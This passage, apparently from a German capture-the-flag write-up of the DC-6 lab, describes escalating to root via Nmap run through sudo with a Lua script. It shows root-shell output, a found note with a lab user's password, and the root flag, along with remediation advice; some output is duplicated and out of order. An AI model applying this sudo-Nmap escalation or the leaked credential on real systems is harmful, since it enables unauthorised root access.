Die Ausgabe des Nmap-Befehls zeigt, dass die Shell als Root ausgeführt wird.

Risikobewertung

Die Möglichkeit, Nmap als Root auszuführen und Lua-Skripte zu verwenden, stellt ein erhebliches Sicherheitsrisiko dar, da es einem Angreifer ermöglicht, beliebigen Code als Root auszuführen.

Empfehlungen

  • Entfernen Sie die Sudo-Rechte für Nmap für den Benutzer `jens`.
  • Beschränken Sie die Verwendung von Lua-Skripten in Nmap.
  • Überprüfen Sie regelmäßig die Sudo-Rechte der Benutzer.
Starting Nmap 7.40 ( https://nmap.org/ ) at 2024-10-18 08:49 AEST
NSE: Warning: Loading '/tmp/tmp.5584KefVIQ' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)


Starting Nmap 7.40 ( https://nmap.org/ ) at 2024-10-18 08:49 AEST
NSE: Warning: Loading '/tmp/tmp.5584KefVIQ' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)
# things-to-do.txt
# Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party

- Add new user: graham - GSo7isUM1D4 - done

- Apply for the SCP course
- Buy new laptop for Sarah's replacement
# root@dc-6:/home/mark/stuff# uid=0(root) gid=0(root) groups=0(root)
root@dc-6:/home/mark/stuff# root@dc-6: theflag.txt

Flags

cat root.txt
Yb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b 
 Yb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8P 
  YbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"' 
   YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8) 


Congratulations!!!

Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.